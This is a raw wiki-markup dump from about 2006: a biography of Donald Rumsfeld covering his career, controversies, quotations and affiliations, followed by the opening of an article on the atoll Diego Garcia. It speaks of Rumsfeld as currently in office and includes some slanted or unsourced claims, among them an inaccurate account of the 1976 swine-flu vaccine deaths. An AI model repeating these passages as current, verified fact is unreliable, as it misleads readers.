| [[Evanston, Illinois|Evanston]], [[Illinois]], [[United States|USA]]
|-
! [[Wife]]:
| Joyce Rumsfeld
|-
! [[Profession]]:
| [[Corporate officer]]
|-
! [[Political party|Political Party]]:
| [[United States Republican Party|Republican]]
|-
! [[President of the United States|President]]:
| [[Gerald Ford]]&lt;br&gt;[[George Walker Bush]]
|}
'''Donald Henry Rumsfeld''' (born [[July 9]], [[1932]]) is a US politician currently serving as the 21st [[United States Secretary of Defense]], since January 20, [[2001]], under [[President of the United States|President]] [[George W. Bush]].  He is the oldest person to have held that position, and was also the youngest when he served as the 13th Secretary of Defense from [[1975]] to [[1977]] under President [[Gerald Ford]].  Rumsfeld also served four terms in the [[United States House of Representatives]] and as an official in numerous federal commissions and councils.

Rumsfeld married the former Joyce Pierson in 1954. They have three children and six grandchildren. 

==Early Life==
He was born in [[Evanston, Illinois|Evanston]], [[Illinois]] to George Donald Rumsfeld and Jeannette Huster, of [[Germany|German]] descent (his grandfather was originally from [[Bremen (city)|Bremen]] in Northern [[Germany]]). Donald Rumsfeld graduated from [[New Trier High School]] and attended [[Princeton University]] on academic and NROTC scholarships (BA, 1954) where he was an accomplished amateur wrestler and served in the [[United States Navy]] (1954-57) as a Naval aviator.  While there, he was roommates with [[Frank Carlucci]]. He then went on to attend and subsequently drop out of [[Georgetown University Law Center]] (1957).  That same year, during the [[Dwight D. Eisenhower|Eisenhower]] Administration, he served as Administrative Assistant to a Congressman from Ohio. After a stint with investment banking firm [[A. G. Becker]] from [[1960]] to [[1962]], he was elected to the [[United States House of Representatives]] from [[Illinois]] in 1962, at the age of 30, and was re-elected in [[1964]], [[1966]], and [[1968]].  Rumsfeld is an [[Eagle Scout rank (Boy Scouts of America)|Eagle Scout]] and recipient of the [[Distinguished Eagle Scout Award]] from the [[Boy Scouts of America]].

== Career ==
=== Nixon Administration ===
Rumsfeld resigned from Congress in [[1969]] during his fourth term to serve in the [[Richard M. Nixon|Nixon]] Administration as Director of the [[United States Office of Economic Opportunity]], [[Assistant to the President]], and a member of the President's Cabinet (1969-1970); Counselor to the President, Director of the [[Economic Stabilization Act of 1970|Economic Stabilization Program]]; and member of the President's Cabinet (1971-1972).

In [[1973]], he left Washington, DC, to serve as [[Ambassadors from the United States|U.S. ambassador]] to the [[North Atlantic Treaty Organisation]] (NATO) in [[Brussels]], [[Belgium]] (1973-1974).

=== Ford Administration ===
[[Image:Ford-rumsfeld.jpg|thumb|300px|Secretary Rumsfeld laughing at the Cabinet table with President [[Gerald Ford]] in 1975.]]

In August 1974, he was called back to Washington, DC, to serve in the Ford Administration successively as Chairman of the transition to the Presidency of [[Gerald R. Ford]] (1974); [[White House Chief of Staff]] member of the President's Cabinet (1974-1975); and the 13th U.S. Secretary of Defense ([[1975]]-[[1977]]).  During this period he oversaw the transition to an all volunteer military and was instrumental in increasing the power of the military within the administration and at the expense of the [[Central Intelligence Agency|CIA]] and [[Henry Kissinger]].  This was accomplished by promulgating the view that the [[Soviet Union]] was increasing defense spending and pursuing secret weapons programs, and that the proper response was a re-escalation of the arms race.  Some say that this view was in direct contrast to [[Central Intelligence Agency|CIA]] and generally accepted reports on the declining state of the Soviet economy, and the earlier success of [[Richard Nixon]] in establishing [[Detente]] (referring to a thawing of the [[Cold War]]) with the [[Soviet Union]].  

[[Image:Donald Rumsfeld Defenselink.jpg|thumb|200px|left|Donald Rumsfeld]]

As part of the Ford administration, Rumsfeld helped formulate the [[White House]] response to the death of [[Central Intelligence Agency|CIA]] scientist [[Frank Olson]]. 

In 1976, a military recruit in New Jersey died from a flu that experts speculated might be the &quot;[[swine flu]]&quot;. At Rumsfeld's urging, the Ford administration quickly produced and distributed large number of doses of the vaccine. However, some batches were contaminated and 52 people died while 600 fell ill. The program was stopped and nobody got swine flu.

In 1977, Rumsfeld was awarded the nation's highest civilian award, the [[Presidential Medal of Freedom]].

=== Private career ===
From 1977 to [[1985]] Rumsfeld served as Chief Executive Officer, President, and then Chairman of [[Searle (company)|G.D. Searle &amp; Company]], a worldwide pharmaceutical company whose products included, among others, the oral contraceptive pill Enovid. It was under Rumsfeld that Searle got [[FDA]] approval for the [[artificial sweetener debate|controversial]] [[artificial sweetener]], [[aspartame]], which it marketed as NutraSweet. Some believe that the approval of aspartame was influenced by conflict of interest and that persons involved in the aspartame approval process were rewarded with high paying jobs or consulting positions. During his tenure at Searle, Rumsfeld led a financial turnaround of the company that earned him awards as the Outstanding Chief Executive Officer in the Pharmaceutical Industry from the ''Wall Street Transcript'' (1980) and ''Financial World'' (1981). Rumsfeld is believed to have earned around US$12 million from the sale of Searle to [[Monsanto]].

From 1985 to 1990 he was in private business. During his business career, Rumsfeld continued public service in a variety of posts, including:

[[Image:Rumsfeld and Giuliani at Ground Zero.jpg|300px|thumb|Rumsfeld and [[New York City|New York]] [[Mayor]] [[Rudy Giuliani]] speak at the site of the [[September 11, 2001 attacks|World Trade Center disaster]] in [[lower Manhattan]], on [[November 14]], [[2001]].]]

*Member of the President's General Advisory Committee on Arms Control - Reagan Administration (1982 - 1986);
*President Reagan's Special Envoy on the Law of the Sea Treaty (1982 - 1983);
*Senior Advisor to President Reagan's Panel on Strategic Systems (1983 - 1984);
*Member of the U.S. Joint Advisory Commission on U.S./Japan Relations - Reagan Administration (1983 - 1984);
*President Reagan's Special Envoy to the Middle East (1983 - 1984);
*Member of the National Commission on the Public Service (1987 - 1990);
*Member of the National Economic Commission (1988 - 1989);
*Member of the Board of Visitors of the National Defense University (1988 - 1992);
*Member of the Commission on U.S./[[Japan]] Relations (1989 - 1991);
*Member of the Board of Directors for ABB Ltd (1990 - 2001);
*[[Federal Communications Commission|FCC]]'s High Definition Television Advisory Committee (1992 - 1993);
*Chairman, Commission on the Ballistic Missile Threat to the United States (1998 - 1999);
*Member of the U.S. Trade Deficit Review Commission (1999 - 2000);
*Member of the Council on Foreign Relations (CFR) and
*Chairman of the U.S. Commission to Assess National Security Space Management and Organization (2000).

[[Image:Donald saddam.jpg|150px|frame|Rumsfeld, at the time [[Ronald Reagan]]'s special envoy to the [[Middle East]], meeting with Saddam Hussein during a visit to [[Baghdad]], [[Iraq]] in [[1983]]. Video frame capture, see the [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB82/ complete video here] ]]

Rumsfeld served as Chairman and Chief Executive Officer of [[General Instrument Corporation]] from 1990 to 1993. A leader in broadband transmission, distribution, and access control technologies for cable, satellite and terrestrial broadcasting applications, the company pioneered the development of the first all-digital high definition television (HDTV) technology. After taking the company public and returning it to profitability, Rumsfeld returned to private business in late 1993.  From January 1997 until being sworn in as the 21st Secretary of Defense in January 2001, Rumsfeld served as Chairman of [[Gilead Sciences]], Inc. He was also chair of the [[RAND|RAND Corporation]].

Rumsfeld sat on the board of [[Asea Brown Boveri|ABB]], a European engineering giant based in Zurich from 1990 to 2001, earning $190,000 a year. In 2000 this company sold two light water nuclear reactors to North Korea, a country he now regards as part of the &quot;axis of evil&quot; and which has been targeted for regime change by Washington because of its efforts to build nuclear weapons.
The sale of the nuclear technology was a high-profile contract. ABB's then chief executive, Goran Lindahl, visited North Korea in November 1999 to announce ABB's &quot;wide-ranging, long-term cooperation agreement&quot; with the communist government. Mr Rumsfeld's office said that the Secretary of Defense did not &quot;recall it being brought before the board at any time&quot;. A spokesman for ABB told the Guardian that &quot;board members were informed about the project which would deliver systems and equipment for light water reactors&quot;.

=== Reagan Administration ===
During his period as [[Ronald Reagan|Reagan's]] Special Envoy to the Middle East (11/83-5/84), Rumsfeld was the main conduit for crucial American military intelligence, hardware and strategic advice to Saddam Hussein, then fighting Iran in the [[Iran-Iraq war]]. During this period, US policy supported Iraq, believing it to be a useful buffer against Iran's new religious government, although the United States had originally been hesitant to work with a Soviet client state. When he visited on December 19-20, 1983, he and [[Saddam Hussein]] had a 90 minute discussion which covered [[Syria]]'s occupation of [[Lebanon]], preventing Syrian and Iranian expansion, preventing arms sales to Iran by foreign countries, increasing Iraqi oil production via a possible new oil pipeline across Jordan. Not mentioned was [[Iraq and weapons of mass destruction|Iraqi production and use of chemical weapons]]. The Iranian government had cited several Iraqi air and ground chemical weapons attacks in the preceding two months, and the Iranian news agency had reported the use of chemical weapons as early as 1981. The US State Department first condemned the use of chemical weapons in the war on [[March 5]], [[1984]], two days before the [[ICRC]] confirmed Iranian allegations.
During his bid for the Republican nomination in 1988, Rumsfeld stated that restoring full relations to Iraq was one of his best achievements.

Rumsfeld's civic activities included service as a member of the National Academy of Public Administration and a member of the boards of trustees of the Gerald R. Ford Foundation, the Eisenhower Exchange Fellowships, the [[Hoover Institution]] at [[Stanford University]], and the National Park Foundation. He was also a member of the U.S./Russia Business Forum and Chairman of the Congressional Leadership's National Security Advisory Group.

[[Image:RicePowellBushRumsfeld.jpg|thumb|300px|Rumsfeld, then-National Security Advisor [[Condoleezza Rice]], and then-Secretary of State [[Colin Powell]] listen to President [[George W. Bush]] speak.]]

Rumsfeld was a founder and active member of the [[Project for the New American Century]], whose goal is to &quot;promote American global leadership&quot; and which in September 2000 [[2003 invasion of Iraq|proposed to invade Iraq]].  He signed the 1998 [http://www.theindyvoice.com/index.blog?entry_id=417960 PNAC Letter] sent to President [[Bill Clinton]] advocating the use of force in Iraq to &quot;protect our vital interests in the gulf&quot;.

=== George W. Bush Administration ===
Appointed defense secretary soon after President [[George W. Bush]] took office in 2001, Rumsfeld immediately announced a series of sweeping reviews intended to plot the transformation of the U.S. military into a lighter, more nimble force. These studies, led by Pentagon analyst [[Andrew Marshall (foreign policy strategist)|Andrew Marshall]], drew widespread resistance from the military services and members of Congress, who worried that Rumsfeld would cancel pet projects. (Eventually, he succeeded in killing the Army's [[XM2001 Crusader|Crusader]] howitzer and its [[RAH-66 Comanche|Comanche]] armed scout helicopter.) Media reports in the summer of 2001 ran under headlines like &quot;Will Rumsfeld Be The First Of Bush's Cabinet To Go?&quot;

[[Image:rumsfeld and cheney.jpg|thumb|300px|Donald Rumsfeld with [[Dick Cheney]]]]
Following the terrorist attack on September 11, 2001, Rumsfeld led the military planning and execution of the [[U.S. invasion of Afghanistan]] and the [[2003 invasion of Iraq]]. Rumsfeld pushed hard to send as small a force as possible to both conflicts, a concept codified as the [[Rumsfeld doctrine]]. 

Rumsfeld's plan resulted in a lightning invasion that took Baghdad in well under a month with very few American casualties. There  were almost no preparations for the occupation of Iraq that followed. Many government buildings, plus major museums, electrical generation infrastructure, and even oil equipment were looted and vandalized during the transition from the fall of Saddam Hussein's regime to the establishment of the [[Coalition Provisional Authority]]. Critics further complained that there was no plan to deal with the existing Iraqi armed forces. They were disbanded, leaving hundreds of thousands of armed and unemployed men in the country. A violent insurrection began shortly after the occupation started.

After the German and [[France|French]] governments voiced opposition to invading Iraq, Rumsfeld labeled these countries as part of &quot;[[Old Europe]]&quot;, implying that countries which supported the war were part of a newer, modern Europe.  

[[Image:Rumsfeld Isaias Afewerki.jpg|thumb|300px|Donald Rumsfeld and [[Eritrea]]n President [[Isaias Afewerki]] shake hands in Eritrea]]

He gives more press conferences than his predecessors. The [[BBC Radio 4]] current affairs program [[Broadcasting House (radio programme)|''Broadcasting House'']] had been so taken by Rumsfeld's various remarks that it once held a regular slot called &quot;The Donald Rumsfeld Soundbite of the Week&quot; in which they played his most amusing comment from that week. Rumsfeld himself is said to have found the slot &quot;hilarious.&quot; Rumsfeld's penchant for talking with his hands also made him the butt of jokes, including [http://www.poe-news.com/features.php?feat=31845 a series] portraying him as a [[martial arts]] master.

Bush retained Rumsfeld after his re-election, which raised eyebrows among Democrats and some Republicans.  In December of that year, Rumsfeld came under fire after a town-hall meeting with U.S. troops where he responded to a soldier's comments about inferior military equipment by saying &quot;you go to war with the army you have.&quot; The question was later discovered to be planted by Lee Pitts, a military reporter from the ''[[Chattanooga Times Free Press]]''.  That same month there was also criticism about his use of an [[Autopen]] signature machine to sign the condolence letters to the families of the soldiers killed in Iraq and Afghanistan (rather than signing the letters personally, as President Bush does).

==Controversies==
[[Image:RumsfeldEconomist.jpg|thumb|left|150px|The May 2004 ''[[The Economist|Economist]]'' calling for Rumsfeld's resignation.]]

As Secretary of Defense, Donald Rumsfeld has come under fire from critics who argue that his decision to detain alleged-enemy combatants at [[Guantanamo Bay]] is a violation of the [[Geneva Convention]] and runs counter to American legal traditions.

Some critics have also argued that Rumsfeld should be held responsible for [[Abu Ghraib torture and prisoner abuse|alleged war crimes]] committed by the U.S. military in both Afghanistan and Iraq.  Several publications, including ''[http://economist.com/displaystory.cfm?story_id=2647493| The Economist]'' called for his resignation following the [[Abu Ghraib scandal]]. 

Some Republicans have called for Rumsfeld's replacement after Bush's re-election due to what many perceive as inadequate troop strength ([[Rumsfeld doctrine]]) used during the invasion of Iraq.

He is also a co-founder of [[Project for the New American Century]] which some believe developed plans for attacking Iraq prior to the [[September 11, 2001 attacks]]. 

After the overthrow of Saddam Hussein in April 2003, Rumsfeld attempted to explain the [[looting]] that followed as an exercise of freedom: &quot;It’s untidy. Freedom’s untidy and free people are free to commit crimes and make mistakes and do bad things.&quot;[http://www.defenselink.mil/transcripts/2003/tr20030411-secdef0090.html]  This explanation drew many critics, including Indian novelist [[Arundhati Roy]], who asked famously, &quot;Did anybody know that Donald Rumsfeld was an anarchist? I wonder - did he hold the same view during the riots in Los Angeles following the beating of Rodney King?&quot;[http://cesr.org/arundhatiroytranscript]

Donald Rumsfeld was Chairman of the Board of [[Gilead Sciences]] who is the developer of Tamiflu which is used in the treatment of [[bird flu]].  Several articles including [http://www.usatoday.com/news/health/2005-11-16-tamiflu-usat_x.htm USA Today], and [http://money.cnn.com/2005/10/31/news/newsmakers/fortune_rumsfeld/ CNN] have published stories implying that Donald Rumsfeld profits from sales of Tamiflu.

Rumsfeld also stirred controversy by quarreling for months with the CIA over who had the authority to fire [[Hellfire missiles]] from [[RQ-1 Predator|Predator drones]].  According to the 9/11 Commission Report, the argument delayed the program for months (pp. 189-90, 211-214).  [[Daniel Benjamin]] and [[Steven Simon]] note: 

:''These quarrels kept the Predator from being used against al Qaeda....  The delay infuriated the terrorist hunters at the CIA.  One individual who was at the center of the action called this episode &quot;typical&quot; and complained that &quot;Rumsfeld never missed an opportunity to fail to cooperate.  The fact is, the Secretary of Defense is an obstacle.  He has helped the terrorists.'' [Daniel Benjamin and Steven Simon, ''The Next Attack'' (New York: Times Books, 2005) [ISBN 0805079416] p. 161.

One of the most recent controversies involves Rumsfeld’s preemptive action in invading Iraq. A [[Freedom of Information Act]] revealed that on September 11th, 2001. Rumsfeld instructed the military to, in the notes of one of Rumsfeld’s aides, “Judge whether good enough hit S.H. ([[Saddam Hussein]]) @ same time – not only UBL ([[Osama bin Ladin]])… Hard to get a good case… Sweep it all up. Things related and not.”

==Quotes==
Throughout the war on terror as of [[2006]], Rumsfeld has often been accused of giving rhetorical answers to serious questions.
* &quot;We take the world like you find it; and Israel is a small state with a small population. It’s a democracy and it exists in a neighborhood that in many -- over a period of time has opined from time to time that they’d prefer it not be there and they’d like it to be put in the sea. And Israel has opined that it would prefer not to get put in the sea, and as a result, over a period of decades, it has arranged itself so it hasn’t been put in the sea.&quot;

* &quot;Our task, your task... is to try to connect the dots before something happens. People say, 'Well, where's the smoking gun?' Well, we don't want to see a smoking gun from a weapon of mass destruction.&quot;

* &quot;Learn to say 'I don't know.' If used when appropriate, it will be often.&quot;

* &quot;If you are not criticized, you may not be doing much.&quot;

* &quot;Beware when any idea is promoted primarily because it is &quot;bold, exciting, innovative, and new.&quot; There are many ideas that are &quot;bold, exciting, innovative and new,&quot; but also foolish.&quot;

* &quot;(Cluster bombs are) being used on frontline al Qaeda and Taliban troops to try to kill them is why we're using them, to be perfectly blunt.&quot;

* &quot;I'm hopeful that some will surrender. I suspect some won't, and I suspect the result from that will be that the opposition forces will kill them.&quot;

* &quot;I think we ought to have a new rule: You can ask two questions, and then we can pick the one we want to answer.&quot;[[Image:Rumsfeld and Koizumi.jpg|right|thumb|300px|Rumsfeld and Japanese prime minister [[Junichiro Koizumi]] meet in [[Tokyo]] in 2004]]

* &quot;Charlie, the answer to the question &quot;Is he alive or dead&quot; -- the answer is yes, he is alive or dead (laughter).&quot; (referring to bin Laden)

* &quot;I mean, let's face it. They weren't exactly baking cookies in those caves.&quot; (in a response to why U.S. bombers killed people hiding in caves)

* &quot;You go to war with the army you have. They’re not the Army you might want or wish to have at a later time.&quot;

* &quot;Well, Dick, calibrate me, but the first thing I'd say is I don't believe you have the war plan -- (laughter) -- a fact which does not make me unhappy (laughter).&quot;

* &quot;Sometimes the truth is so precious, it must be accompanied by a bodyguard of lies.&quot; from [[Winston Churchill]]

* &quot;I think what you'll find, I think what you'll find is, whatever it is we do substantively, there will be near-perfect clarity as to what it is. And it will be known, and it will be known to the Congress, and it will be known to you, probably before we decide it, but it will be known.&quot; (February 28, 2003)

* &quot;Reports that say that something hasn't happened are always interesting to me, because as we know, there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns - the ones we don't know we don't know.&quot; (February 12, 2002)

* &quot;Things will not be necessarily continuous.  The fact that they are something other than perfectly continuous ought not to be characterized as a pause.  There will be some things that people will see.  There will be some things that people won't see.  And life goes on.&quot; (October 12, 2001)

* &quot;Go massive.  Sweep it all up. Things related and not.&quot; (September 11, 2001)

* &quot;Oh my goodness gracious, what you can buy off the Internet in terms of overhead photography!  A trained ape can know an awful lot of what is going on in this world, just by punching on his mouse for a relatively modest cost!&quot; (June 9, 2001)

* &quot;Once in a while, I'm standing here, doing something. And I think, 'What in the world am I doing here?' It's a big surprise.&quot; (May 16, 2001)

* &quot;If you waited until you could do everything before you did anything, you probably would end up doing nothing.&quot;

* &quot;Before long, I suspect that those responsible for these acts will encounter British steel.  Their kind of steel has an uncommon strength.  It does not bend or break.&quot; (a response to the [[7 July 2005 London bombings]])

* &quot;Stuff happens.&quot; (April 2003, commenting on the looting, rioting and general mayhem that followed the fall of Baghdad)

* &quot;...or the people who attacked the United States in New York, shot down the plane over Pennsylvania and attacked the Pentagon&quot; (a possible slip up referring to the [[September 11, 2001 attacks]][http://edition.cnn.com/TRANSCRIPTS/0412/24/nfcnn.01.html])

* (speaking about disorder in Iraq, April 2003) &quot;It's untidy, and freedom's untidy. Free people are free to make mistakes and commit crimes and do bad things. They're also free to live their lives and do wonderful things.&quot; ''Guardian Unlimited'', April 12, 2003

===&quot;You go to war with the army you have…&quot;===
[[Image:Abdel aziz hakim.jpg|thumb|300px|Donald Rumsfeld meets with Iraq Governing Council President Abdel Aziz Hakim in Baghdad, December 2003 - ]]
During a [[December 8]], [[2004]], town-hall meeting with U.S. troops at [[Camp Buehring]], [[Kuwait]], Rumsfeld responded to a soldier's comments about inferior military equipment by saying &quot;you go to war with the army you have&quot;, a comment some characterized as needlessly cold. Rumsfeld's full answer:

&lt;blockquote&gt;I talked to the General coming out here about the pace at which the vehicles are being armored. They have been brought from all over the world, wherever they’re not needed, to a place here where they are needed. I’m told that they are being – the Army is – I think it’s something like 400 a month are being done. And it’s essentially a matter of physics. It isn’t a matter of money. It isn’t a matter on the part of the Army of desire. It’s a matter of production and capability of doing it.&lt;/blockquote&gt;

&lt;blockquote&gt;As you know, you go to war with the Army you have. They’re not the Army you might want or wish to have at a later time. Since the Iraq conflict began, the Army has been pressing ahead to produce the armor necessary at a rate that they believe – it’s a greatly expanded rate from what existed previously, but a rate that they believe is the rate that is all that can be accomplished at this moment.&lt;/blockquote&gt;

&lt;blockquote&gt;I can assure you that General Pete [[Schoomaker]] and the leadership in the Army and certainly General Whitcomb are sensitive to the fact that not every vehicle has the degree of armor that would be desirable for it to have, but that they’re working at it at a good clip. It’s interesting, I’ve talked a great deal about this with a team of people who’ve been working on it hard at the Pentagon. And if you think about it, you can have all the armor in the world on a tank and a tank can be blown up. And you can have an up-armored humvee and it can be blown up. And you can go down and, the vehicle, the goal we have is to have as many of those vehicles as is humanly possible with the appropriate level of armor available for the troops. And that is what the Army has been working on.&lt;/blockquote&gt;

&lt;blockquote&gt;And General Whitcomb, is there anything you’d want to add to that?&lt;/blockquote&gt;

==Affiliation History==
[[Image:Rumsfeld_peres.jpg|Rumsfeld and Israeli politician [[Shimon Peres]]|thumb|300px|right]]

===Institutional Affiliations===
* [[Center for Security Policy]]: Longtime associate; winner of the CSP's 1998 &quot;Keeper of the Flame&quot; award (5)
* [[Hoover Institution]]: Member, board of trustees
* [[Project for the New American Century]]: Signed PNAC's founding statement of principles as well as two policy letters on Iraq
* [[Freedom House]]: Board member
* [[RAND|RAND Corporation]]: Board member
* [[Committee for the Free World]]: Former chairman

===Government Posts/Panels/Commissions===
* [[U.S. Commission to Assess National Security Space Management and Organization]]: Chairman (2000)
* [[U.S. Ballistic Missile Threat Commission]]: Chairman (1998)
* Secretary of Defense (1975-77)
* [[White House Chief of Staff]] in [[Ford administration]] (1974-75)
* [[U.S. Ambassador to NATO]] (1973-74)
* [[U.S. Congress]]: [[U.S. Representative|Representative]] from [[Illinois]] (1962-69)
* [[U.S. Navy]]: Various posts, including aviator (1954-57); reserves (1957-1975)

===Corporate Connections/Business Interests===
* [[Gilead Sciences]]: Chairman (1997-2001)
* [[General Instrument Corporation]]: Chairman and CEO (1990-93)
* [[G.D. Searle pharmaceutical company]]: CEO/Chairman/President (1977-1985)
* [[Bechtel Corporation]]: Was involved in [[Iraq-Bechtel negotiations]] in the 1980s on a pipeline project
* [[Gulfstream Aerospace]]: Former director
* [[Tribune Company]]: Former director
* [[Metricom, Inc.]]: Former director
* [[Sears, Roebuck and Co.]]: Former director
* [[ABB AB]]: Former director

===Education===
* [[Princeton University]]: A.B. (1954)

==See also==
*[[Agathidium rumsfeldi]] - a slime-mold beetle named after Rumsfeld
*[[U.S. Congressional Delegations from Illinois]]

==External links==
{{wikisource author}}
{{wikiquote}}
*'''Works'''
**[http://tns.onlyoneworld.net/1/index.htm OnlyOneWorld.NET] Secretary of Defense Donald Rumsfeld's April 11th Speech and commentary on it.
**[http://www.defenselink.mil/speeches/secdef.html What the Secretary Has Been Saying] official speeches and transcripts
**[http://www.opinionjournal.com/wsj/?id=85000505 Rumsfeld's Rules] advice on government, business and life, [[January 29]] [[2001]]
**''Strategic Imperatives in East Asia'' by Donald Rumsfeld (Heritage Foundation, 1998) ISBN B0006FCPRU 
**[http://www.project-syndicate.org/contributors/contributor_comm.php4?id=722 Donald Rumsfeld's Project Syndicate op/eds]
**[http://www.dod.gov/releases/2005/nr20050707-3921.html Statement by Secretary of Defense Donald H. Rumsfeld on London Bombings] [[July 7]] [[2005]]
*'''Biographies'''
**[http://www.whitehouse.gov/government/rumsfeld-bio.html White House Biography]
**[http://www.defenselink.mil/bios/secdef_bio.html Department of Defense Biography]
**''Rumsfeld's War: The Untold Story of America's Anti-Terrorist Commander'' by Rowan Scarborough (Regnery Publishing, 2004) ISBN 0895260697
**''Rumsfeld: A Personal Portrait'' by Midge Decter (Regan Books, 2003) ISBN 0060560916
**''The Rumsfeld Way: The Leadership Wisdom of a Battle-Hardened Maverick'' by Jeffrey A. Krames (McGraw-Hill, 2002) ISBN 0071406417
*'''Documentaries and reports'''
**[http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB82/ Shaking Hands With Saddam Hussein]
**[http://www.pbs.org/wgbh/pages/frontline/shows/pentagon/ PBS Frontline - Rumsfeld's War] October 2004 documentary
**[http://www.washingtonpost.com/wp-srv/liveonline/partners/frontline.htm Washington Post - Rumsfeld's War] archives 2001-2004 with video and discussions
*'''Directories'''
**[http://search.looksmart.com/p/browse/us1/us317828/us317851/us4225550/us1141249/us1141409/us1141463/ Looksmart - Donald Rumsfeld] directory category
**[http://dir.yahoo.com/Government/U_S__Government/Executive_Branch/Departments_and_Agencies/Department_of_Defense__DOD_/Office_of_the_Secretary/Rumsfeld__Donald___Secretary_of_Defense/ Yahoo! - Donald Rumsfeld] directory category
*'''Articles'''
**[http://www.zmag.org/content/showarticle.cfm?SectionID=15&amp;ItemID=2177  The Saddam in Rumsfeld's Closet, Jeremy Scahill]
**[http://www.theatlantic.com/issues/2003/11/mann.htm Close-Up: Young Rumsfeld], James Mann, The Atlantic Monthly, November 2003
**[http://washingtontimes.com/national/20040223-012306-4708r.htm 'This is war' Rumsfeld told Bush,] Washington Times, [[February 23]] [[2004]]
**[http://www.mabus.biz/who/rumsfeld Conspiracy theory about Rumsfeld]
**[http://www.medienanalyse-international.de/rumsfeld.html What did Rumsfeld do and what did he not do on 9/11] October 2002
**[http://www.abb.com/global/abbzh/abbzh251.nsf!OpenDatabase&amp;db=/global/abbzh/abbzh250.nsf&amp;v=553E&amp;e=&amp;url=/global/seitp/seitp202.nsf/0/C1256C290031524B4125686C00433604!OpenDocument ABB to deliver systems, equipment to North Korean nuclear plants] ABB News Release,
[[January 20]] [[2000]]
**[http://www.voltairenet.org/article30042.html  Donald Rumsfeld: a Machiavellian Artist in Power] Voltaire Network, October 2004 
**[http://www.guardian.co.uk/international/story/0,3604,952196,00.html Guardian article on Rumsfeld and ABB] May 2003
*'''Quotations and humor'''
**[http://www.bbc.co.uk/radio4/news/bh/rumsfeld.shtml Broadcasting House's &quot;Donald Rumsfeld Library of Quotations&quot;]
**[http://www.rightwingnews.com/quotes/rummyquotes.php More Donald Rumsfeld Quotes]
**[http://www.poe-news.com/features.php?feat=31845 Rumsfeld Fighting Technique] - Rumsfeld's penchant for talking with his hands has made him the butt of jokes, including a series portraying him as a [[martial arts]] master.
**[http://baboon.us/rumsfeld.html Rumsfeld Humor]
**[http://www.unconfirmedsources.com/?itemid=964 UnconfirmedSources.com] - 'Rumsfeld Reaches [[Autistic]] Toddler',   Ed E. Druckman
*[http://www.newsmeat.com/washington_political_donations/Donald_Rumsfeld.php Rumsfeld's political donations]
*[http://www.grolo.de/index.php?id=47,90,0,0,1,0 Rumsfeld's rethoric]

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{{succession box|
 title=[[U.S. Congressional Delegations from Illinois#House of Representatives|U.S. Representative of Illinois's 13th Congressional District]]|
 before= [[Marguerite S. Church]] |
 years=1963 &amp;ndash; 1969|
 after=[[Phil Crane]]
}}
{{succession box| title=[[White House Chief of Staff]]| before=[[Alexander Haig]]| after=[[Dick Cheney]]| years=1974&amp;ndash;1975}}
{{succession box| title=[[United States Secretary of Defense|Secretary of Defense]]| before=[[James R. Schlesinger]]| after=[[Harold Brown (Secretary of Defense)|Harold Brown]]| years=1975&amp;ndash;1977}}
{{incumbent succession box| title=[[United States Secretary of Defense|Secretary of Defense]]| before=[[William S. Cohen]]| start=2001| }}
{{end box}}
{{start box}}
{{succession box | title=[[United States Presidential Line of Succession]] | before=[[John W. Snow]] | after=[[Alberto Gonzales]] | years= }}
{{end box}}

{{USSecDef}}

{{WHCOS}}

[[Category:1932 births|Rumsfeld, Donald]]
[[Category:Ambassadors of the United States|Rumsfeld, Donald]]
[[Category:Chicagoans|Rumsfeld, Donald]]
[[Category:Council on Foreign Relations member|Rumsfeld, Donald]]
[[Category:Distinguished Eagle Scouts|Rumsfeld, Donald]]
[[Category:Eagle Scouts|Rumsfeld, Donald]]
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[[Category:Living people|Rumsfeld, Donald]]
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[[Category:United States Navy officers|Rumsfeld, Donald]]
[[Category:Presbyterians|Rumsfeld, Donald]]
[[Category:Presidential Medal of Freedom recipients|Rumsfeld, Donald]]
[[Category:Princeton alumni|Rumsfeld, Donald]]
[[Category:Project for the New American Century|Rumsfeld, Donald]]
[[Category:Members of the United States House of Representatives from Illinois|Rumsfeld, Donald]]
[[Category:United States Secretaries of Defense|Rumsfeld, Donald]]
[[Category:White House Chiefs of Staff|Rumsfeld, Donald]]
[[Category:Worst Supporting Actor Razzie|Rumsfeld, Donald]]

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  </page>
  <page>
    <title>Diego Garcia</title>
    <id>8630</id>
    <revision>
      <id>41382098</id>
      <timestamp>2006-02-26T23:42:42Z</timestamp>
      <contributor>
        <username>Tonster</username>
        <id>909535</id>
      </contributor>
      <comment>/* Popular culture */</comment>
      <text xml:space="preserve">''This article refers to the atoll.  For the musician, see [[Diego Garcia (music)]].''

{| align=right
|-
| [[Image:DiegoGarcia1.png|thumb|250px|right|Location map of Diego Garcia]]
|-
| [[Image:diegogarcia.jpg|thumb|250px|right|Overhead view of Diego Garcia]]
|-
|}
'''Diego Garcia''' ({{coor dm|7|19|S|72|25|E|type:island}}) is a 44 square kilometre (17 [[square mile]]) [[atoll]] located in the heart of the [[Indian Ocean]], some 1,600 kilometres (1,000 miles) south of [[India]]'s southern coast.  It is the largest of fifty-two islands which form the [[Chagos Archipelago]]. It is a [[British overseas territory]], part of the [[British Indian Ocean Territory]] (BIOT). It is used as a military base by the [[United States]].

The atoll is now covered in luxuriant tropical vegetation, with little sign left of the copra and coconut plantations that used to cover it. The island is 60 kilometres long, with a maximum elevation of 7 metres (22 feet), and nearly encloses a lagoon some 20 kilometres long and up to 9 kilometres wide. Depths in the lagoon range from 20 to 30 metres, while numerous coral heads extend toward the surface and form hazards to navigation. Shallow reefs surround the island on the ocean side as well as within the lagoon. The channel and anchorage area are dredged, while the old turning basin can also be used if depth is sufficient for ship type. In quiet waters of the lagoon, the brilliantly coloured tropical fish can be admired.

== Climate ==
Annual [[rainfall]] averages 2600mm (102 inches) with the heaviest precipitation occurring from October to February,
though even the driest month (August) averages 105mm (4.2 inches).  Temperatures are generally close to 30 &amp;deg;C (high 80s Fahrenheit) by day, falling to the low 20s (degrees Celsius) by night. Humidity is high throughout the year. However the almost constant breezes keep conditions reasonably comfortable.
[[Image:Island couple.jpg|thumb|right|330px|Eclipse Point, Diego Garcia]]
Diego Garcia is at risk from tropical cyclones. The surrounding topography is low and does not provide an extensive wind break. However since the 1960s, the island has not been seriously affected by a severe tropical cyclone, even though it has often been threatened. The maximum sustained wind associated with a tropical cyclone in the period 1970-2000 at Diego Garcia has been approximately 40 knots (75 km/h).

